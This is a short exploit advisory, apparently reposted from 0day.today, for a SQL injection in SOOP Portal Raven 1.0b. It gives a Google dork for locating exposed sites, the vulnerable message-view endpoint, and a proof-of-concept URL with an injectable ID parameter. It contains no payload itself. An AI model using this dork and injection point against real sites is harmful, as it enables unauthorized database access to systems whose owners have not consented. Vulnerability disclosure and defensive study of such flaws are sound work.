SOOP Portal Raven 1.0b SQL Injection Vulnerability
PHP:
# Exploit Title: SOOP Portal Raven 1.0b sql injection
# Google Dork: Powered by SOOP Portal Raven 1.0b
# Date: [date]
# Author: Evil-Thinker
# Version: Raven 1.0b
# Tested on: Windows
# Soft Technologie : ASP.net
Exploit Details :
----------------------------------------------------------------
1- Register On the Target
2- Browse This Link : /forum/pm_show_message.asp?ID= Â "it's a message on Your Inbox"
3- Poc: www.site.com//forum/pm_show_message.asp?ID=(inject here)
----------------------------------------------------------------
****** SSMM T34M ******
Greatz : Zakacinho , Michel , and all SSMM Members
****** SSMM T34M ******
# Â 0day.today [2017-11-14] Â #